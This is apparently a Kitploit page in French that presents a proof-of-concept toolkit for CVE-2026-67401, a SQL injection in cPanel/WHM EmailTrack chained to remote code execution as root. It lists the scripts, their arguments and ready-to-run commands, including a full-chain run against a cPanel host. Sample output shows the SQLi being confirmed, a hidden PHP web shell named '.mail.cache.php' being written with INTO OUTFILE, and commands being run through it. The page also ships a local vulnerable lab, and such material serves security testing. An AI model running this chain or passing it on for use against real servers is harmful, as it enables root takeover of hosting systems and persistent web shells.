CVE-2026-67401 — Preuve de concept pour CVE-2026-67401, une injection SQL dans EmailTrack de cPanel/WHM permettant l'écriture arbitraire de fichiers et l'exécution de code à distance en tant que root, avec des sondes de détection SQLi et un laboratoire vulnérable autonome. | Kitploit

┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘

Fichier	Description
`poc_sqli.py`	Détection d'injection SQL : booléenne, temporelle et comptage de colonnes UNION
`poc_full_chain.py`	Chaîne d'exploitation complète : SQLi → web shell `INTO OUTFILE` → RCE → guide d'élévation en root
`lab/vuln_server.py`	Simulation locale du backend EmailTrack vulnérable (sûr, autonome)
`README.md`	Ce document

Argument	Description
`-H, --host`	Hôte cPanel, par ex. `https://cp.example.com:2083`
`-u, --username`	Compte cPanel disposant de privilèges de courrier
`-p, --password`	Mot de passe du compte
`--param`	Paramètre injectable (par défaut : `account`)
`--mode`	`detect` (par défaut), `boolean`, `timing`, `union` ou `all`
`--sleep`	Durée de `SLEEP()` pour la sonde temporelle (par défaut : `3.0`)
`--dump-version`	Tente d'extraire la version du SGBD via UNION
`--insecure`	Ignore la vérification du certificat TLS

# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

Argument / Env	Description
`host` (positionnel)	Hôte cPanel, ou définir la variable d'env `CPANEL_HOST`
`CPANEL_USER`	Compte cPanel disposant de privilèges de courrier
`CPANEL_PASS`	Mot de passe du compte
`--shell-base`	URL de base servant `public_html` (où le web shell est accessible)
`--insecure`	Ignore la vérification du certificat TLS
`--no-escalate`	S'arrête après le RCE ; ignore le guide d'élévation en root
`SHELL_NAME` (env)	Nom de fichier du web shell (par défaut : `.mail.cache.php`)

# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

11.110	11.110.0.143
11.134	11.134.0.55
11.136	11.136.0.39
11.138	11.138.0.4
WP2 (11.138)	11.138.1.9

CVE-2026-67401

Populaires

Chaîne d'exploitation

Contenu du dépôt

Prérequis

Utilisation

1. Lancer le lab local

2. Détection d'injection SQL

3. Chaîne d'exploitation complète

4. Contre une cible réelle

Résultats vérifiés

Références

Licence